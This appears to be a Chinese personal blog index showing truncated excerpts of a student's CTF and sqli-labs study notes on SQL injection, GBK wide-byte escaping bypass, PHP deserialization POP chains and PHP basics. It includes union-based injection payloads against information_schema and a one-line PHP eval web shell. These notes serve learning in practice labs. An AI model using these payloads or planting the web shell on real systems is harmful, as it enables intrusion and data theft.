L的博客

less 38我们打开源码 看到一个叫mysql_connect()的函数打开到一个mysql服务器的新连接，返回一个代表到 MySQL 服务器的连接的对象。mysql_connect(host,username,password,dbname,prok,socket)host：必写，表示一个服务器的主机域名username:必写，表示mysql服务器的用户名password：可写，表示密码dbname：可选，表示要连接的数据库prok：可选，表示mysql服务器的连接端口socket:可选，表示所要使用的socket和已命名的pipesocket就是我们在发送时，帮助我们发送保护我们数据，打包数据等的东西，就像一个物流公司一样当我们发送时帮我们进行一系列操作 2.mysql_connect_errno()该函数于mysql_connect()有关连，会放回一个错误连接的代码，如果没有连接错误就返回03.mysql_select_db()查询所连接数据库的的一些php代码语法mysql_select_db(connection,dbname)connection:必写，规定要使用的my ...

less32这关我们直接查看源码我们可以看到引入可gbk编码 gbk编码编码包括了双字节字符集和单字节字符集单字符编码：如ascii码，单字节字符集表示其内部的所以字符都是由单字节表示的双字节字符集：也称为宽字符，双字节字符集表示其内部字符是由两个字节来表示的，其导致的漏洞大多是因为服务器错误的将两个单字节错误的编码为宽字符宽字符：用多个字节来表示的字符集宽字节：:GB2312、GBK、GB18030、BIG5、ShiftJIS都是宽字节，其是由两个单字节来表示。其漏洞基本是由于输入多个单字节导致单字节被当成宽字节导致的，gbk码只有当前一个字节的ascii码值大于128才到汉字的范围 函数preg_replace($str,$str1,$str2)表示交换需要过滤的字符,即判断str2里有没有str由则将str转换成str1preg_quote($str)会将字符串中的所有特殊字符前添加一个\使其实体化。这样就导致了我们输入’会被添加上\导致转意。这时候我们就可以利用宽字节绕过由于\的url编码为%5c，这时候我们可以在%5c前加一个%df这时候就会组成为%df%5c而这两个字节就 ...

这个函数是个正则表达式，代码如下123456if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。";} else { echo "未发现匹配的字符串 php。";}?>输出：查找到匹配的字符串 php上面的代码的意思为：在后式的”PHP”中查找前式列出的字符串php,有则返回1无返回0/php/两边的/是用于对字符串的分隔//后的i代表这是一个对大小写不敏感的查询所有这个会返回1就是真 123456789101112131415<?php/* 模式中的 \b 标记一个单词边界，所以只有独立的单词"web"会被匹配，而不会匹配 * 单词的部分内容比如"webbing" 或 "cobweb" */if (preg_match("/\bweb\ ...

还是tcl并没有写出来几题但是有学到不少。1.圣杯战争！！当我看到这道题的时候我马上就发现这个新生赛和我之前做的完全不是一个等级的，刚开始做这题的使用由于本人不会php的序列化和反序列化所以这题是我学习了很久才做出这道题目。学习过程在这里序列化与反序列化的学习这道题目的提示做的很明显，出题人将构造pop链的顺序都和我们说了。我们要从summon到artifact到preoare到saber，我们可以先个$Saber赋值为对象artifact那么当输出$Saber时会因为错误的将对artifact当成字符串输出那么就会触发artifact的tostring()，我们再将变量$excalibuer赋值为对象prepare那么就会错误的调用没有的成员属性从而触发get($key)我们再将$release赋值为saber那么就会因为错误的将对象saber当成函数触发从而触发__invoke()那么我们就可以对成功链接到我们的目标函数include()了，接下来我们应该对weapon进行赋值从而得到flag这道题目除了考察php的序列化和反序列化还考查看了php的反序列化也就是关于最终inclu ...

我会在这里写下我学习序列化和反序列化的过程类与对像学习序列化和反序列化最基本的就是对类和对象的了解 什么是类什么是对象类就是就是对象的抽象，而对象就是对类的实例化 举例类相当于一个写着电脑配置的清单而对象就是这太电脑组装后的样子，也就是说对象是类的实体也就是实例 类的定义类的定义包含对类名的定义对成员变量（属性）的定义对成员函数的定义（方法）以下为代码演示123456789101112131415<?phpclass text{ var $name="benben"; var $name2="dazhuang"; function xuanze(){ $this->name; echo "输出"； } } $p=new text(); print_r($p) echo $p->name; $p->xuanze()?> 以上代码中function以前的为成员属性而functi ...

我会在这里写下我在写ctf题时遇到的不会和不熟悉的的php函数preg_match这个函数是个正则表达式，代码如下123456if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。";} else { echo "未发现匹配的字符串 php。";}?>输出：查找到匹配的字符串 php上面的代码的意思为：在后式的”PHP”中查找前式列出的字符串php,有则返回1无返回0/php/两边的/是用于对字符串的分隔//后的i代表这是一个对大小写不敏感的查询所有这个会返回1就是真 123456789101112131415<?php/* 模式中的 \b 标记一个单词边界，所以只有独立的单词"web"会被匹配，而不会匹配 * 单词的部分内容比如"webbing" 或 "co ...

less1~less4less1我们先在url上输入?id=1进行尝试发现屏幕回显如下证明存在注入点接下来我们判断为什么类型的注入，输入1?id=2-1;发现屏幕回显如下 与?id=1不同所以为字符型注入,因为是字符型注入所以我们需要找到闭合方式输入?id=1'--+成功回显所以他的闭合方式为' 接下来我们查询该表的列数1?id=1' order by 列数--+我们发现当我们order by 4时报错而order by 3时没报错所以判断该表列数为3接下来我们查看回显位置1?id=-1' union select 1,2,3--+回显如下证明回显位置是2和3接下来我们可以查询数据库名称代码如下1?id=-1' union select 1,database(),3查询出库名为’security’在查询这个库中的表名代码如下1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ...

这篇文章是关于一句话木马的文章一句话木马可以说是最简单吗木马了，代码如下1<?php @eval($_POST['1']);?>

我会在这里写下sql注入的一些学习过程sql的增删改查看数据库show databases 创建与删除数据库create database employees charset utf8;创建一个数据库叫employees字符集是utf8 删除叫employees的数据库drop database employees; 创建表创建一个名字为employee的表123456789create table employee//下面输入表格信息(id int,name varchar(),sex char(),birthday date,job varchar());创建表时需要将每一列分别是什么数据类型定义好 查看数据表信息show full columns from employee; 查看数据表列表select * from employee; 删除数据表drop table employee； 给表添加一个自增的idalter table 表名 add id int unsigned not Null auto_increment primary key 修改数据表名将数据表名改为us ...

在这里我会写一写关于php的笔记。魔术常量__FILE__（返回文件的路径和名称）像这样的是魔术常量是预定义常量highhighfile(`_FILE`)高亮文件路径 数据表单$_GET —— 接受 GET 请求传递的参数。示例：example.com/index.php?book=HELLOCTF，你可以使用 $_GET[‘book’] 来获取相应的值。 $_POST —— 接受 POST 请求传递的参数。示例：对 example.com/index.php 进行 POST 传参，参数名为 book 内容为 HelloCTF，你可以使用 $_POST[‘book’] 来获取相应的值。 $_REQUEST —— 接受 GET 和 POST 以及 Cookie 请求传递的参数。 示例：123如果你通过 URL 传递了一个参数 example.com/index.php?key=value_from_get，你可以通过 `$_REQUEST['key']`获取这个值。如果你通过 POST 方法提交了一个表单，其中有一个名为 key 的字段且其值为 value_from_ ...